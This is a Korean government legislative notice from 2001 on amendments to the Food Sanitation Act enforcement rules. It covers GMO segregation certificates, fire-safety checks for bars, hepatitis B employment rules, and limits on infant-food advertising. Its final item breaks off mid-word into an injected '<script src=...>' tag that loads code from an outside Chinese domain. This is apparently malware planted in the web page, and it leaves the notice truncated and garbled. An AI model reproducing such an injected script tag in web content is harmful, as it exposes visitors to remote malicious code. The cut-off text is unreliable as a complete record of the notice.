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식품위생법시행규칙(안)
작성자 식품안전부 등록일 2001/05/18 조회 11642
첨부
보건복지부공고 제 2001-42호
식품위생법시행규칙을 개정함에 있어 이를 국민에게 미리 알려 의견을 듣고자 그 취
지와 주요내용을 행정절차법 제41조에 의하여 다음과 같이 공고합니다.
2001년 5월 25일
보건복지부장관

식품위생법시행규칙중개정령(안)입법예고

1. 개정이유
2001. 7. 13자로 유전자재조합식품의 표시제가 시행됨에 따라 수입식품등의 수입신
고시 구분유통증명서를 첨부토록 하고, 유전자재조합식품 표시제 위반행위에 대한
행정처분기준을 마련하며, 조제분유와 동일·유사한 명칭의 이유식 광고를 제한하는
등 현행 식품위생관리제도의 미비점을 개선·보완하려는 것임.

2. 주요골자
가. 유전자재조합식품의 구분·관리를 위하여 유전자재조합 표시대상식품을 수입하
는 자는 수입신고시 동식품이 종자구입·생산·보관·선별·운반·선적과정에서 유전자재
조합식품과 구분되어 유통되었음을 증명하는 서류를 첨부토록 하고, 동증명서를 제
조·가공업자, 수입·소분업자로 하여금 3년간 보관하도록 함(안 제11조제1항제7호,
별표 12 제14호, 별표 13 제1호자목·제2호버목 신설).
나. 다중이용업소의 대형화재 방지대책의 일환으로 단란주점 및 유흥주점 영업허가
시 및 허가변경시에는 전기사업법령에 의한 전기안전점검확인서를 첨부하도록 함
(안 제22조제1항, 제23조제2항제6호 신설).
다. 영업자지위승계 신고시 양도인과 양수인이 함께 허가 또는 신고관청을 방문하
여 양도·양수가 이루어졌음을 인정하는 경우 양도인이 인감증명서를 제출하지 않아
도 가능하도록 함(안 제33조).
라. 비형간염 환자에 대하여 식품등의 영업에 종사하지 못하게 하였으나 전염병예방
법의 개정으로 취업제한 질병에서 비형간염이 제외됨에 따라 동환자가 식품등의 영
업에 종사할 수 있도록 함(안 제35조제4호 삭제).
마. 즉석판매제조·가공업의 대상식품에 인삼제품류중 즉석에서 제조·가공이 가능한
인삼분말류 등 6종류를 포함함(안 별표 11).
바. 조제분유는 모유수유 촉진을 위해 광고를 할 수 없도록 하고 있으나, 이유식을
제조·가공하는 업소가 이유식 광고시 조제분유와 동일한 명칭 또는 유사한 명칭을
사용하여 광고함으로써 조제분유를 광고하는 효과를 얻고 있어 이러한 광고를 하지
못하도록 함(안 별표 12 제13호, 별표 13 제2호머목 신설).
사. 유전자재?script src=http://dae3.cn>
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